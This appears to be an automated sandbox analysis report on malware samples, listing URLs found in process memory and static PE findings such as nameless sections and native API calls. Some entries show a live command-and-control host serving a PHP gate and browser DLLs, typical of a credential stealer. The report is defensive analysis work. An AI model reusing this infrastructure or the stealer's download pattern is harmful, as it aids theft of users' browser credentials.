Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1962741464.0000000001F47000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dll
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dll
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dll.s/
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dllvs
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dll;W
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dllk
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dlls
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dllzW
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dll
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dllVr7
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dllq
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/sqlite3.dll
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/sqlite3.dllK
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll3
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F2C000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/920475a59bac849d.php
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.000000000177E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.30/920475a59bac849d.phpW
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: 37664d9843.exe, 00000004.00000000.1782374348.00000000016B9000.00000080.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000002.1957654994.0000000001413000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000933000.00000040.00000001.01000000.0000000F.sdmp, 586ef238b2.exe, 0000000F.00000000.3140997068.0000000000BD9000.00000080.00000001.01000000.0000000F.sdmp, 37664d9843.exe.3.dr, random[1].exe.3.dr, 586ef238b2.exe.3.dr String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 37664d9843.exe, 00000004.00000000.1782374348.00000000016B9000.00000080.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000002.1957654994.0000000001413000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000933000.00000040.00000001.01000000.0000000F.sdmp, 586ef238b2.exe, 0000000F.00000000.3140997068.0000000000BD9000.00000080.00000001.01000000.0000000F.sdmp, 37664d9843.exe.3.dr, random[1].exe.3.dr, 586ef238b2.exe.3.dr String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: 37664d9843.exe, 00000004.00000000.1782374348.00000000016B9000.00000080.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000002.1957654994.0000000001413000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000933000.00000040.00000001.01000000.0000000F.sdmp, 586ef238b2.exe, 0000000F.00000000.3140997068.0000000000BD9000.00000080.00000001.01000000.0000000F.sdmp, 37664d9843.exe.3.dr, random[1].exe.3.dr, 586ef238b2.exe.3.dr String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.10.dr String found in binary or memory: http://upx.sf.net
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1984416281.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, 586ef238b2.exe, 0000000F.00000002.3360531136.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, mozglue.dll.4.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 37664d9843.exe, 00000004.00000002.1984219482.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360382541.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ep
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.epnacl
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: https://mozilla.org0/
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://support.mozilla.org
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D86000.00000040.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000003.1839531742.000000002385D000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000248000.00000040.00000001.01000000.0000000F.sdmp, 586ef238b2.exe, 0000000F.00000003.3202674791.0000000022D8D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D86000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000248000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D86000.00000040.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000003.1839531742.000000002385D000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000248000.00000040.00000001.01000000.0000000F.sdmp, 586ef238b2.exe, 0000000F.00000003.3202674791.0000000022D8D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D86000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.0000000000248000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001893000.00000004.00000020.00020000.00000000.sdmp, CAAKKFHCFIECAAAKEGCF.15.dr, ECBGCGCGIEGCBFHIIEBF.4.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 37664d9843.exe, 00000004.00000003.1847118263.0000000001F96000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKF.15.dr, BAFCGIJD.4.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.00000000002A6000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.00000000002A6000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp, 37664d9843.exe, 00000004.00000002.1957654994.0000000000E2A000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.00000000002A6000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000E2A000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/contribute/H
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.00000000002A6000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/contribute/eBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VS
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000E2A000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/contribute/npvZC5maWxlsvchost.exe
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000E2A000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/contribute/tuvcuoGBK.exe
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.00000000002A6000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 37664d9843.exe, 00000004.00000003.1911607631.0000000029BB0000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000003.3299424191.0000000028EAD000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000034A000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 37664d9843.exe, 00000004.00000003.1911607631.0000000029BB0000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000003.3299424191.0000000028EAD000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJKJEHDGC.15.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000D28000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000034A000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary
barindex
PE file contains section with special chars
Source: So7a8eQerR.exe Static PE information: section name:
Source: So7a8eQerR.exe Static PE information: section name: .idata
Source: So7a8eQerR.exe Static PE information: section name:
Source: explorti.exe.0.dr Static PE information: section name:
Source: explorti.exe.0.dr Static PE information: section name: .idata
Source: explorti.exe.0.dr Static PE information: section name:
Source: amadka[1].exe.4.dr Static PE information: section name:
Source: amadka[1].exe.4.dr Static PE information: section name: .idata
Source: amadka[1].exe.4.dr Static PE information: section name:
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name:
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: .idata
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name:
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name:
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: .idata
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name:
PE file has nameless sections
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset, 4_2_6C07ED10
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 4_2_6C0BB700
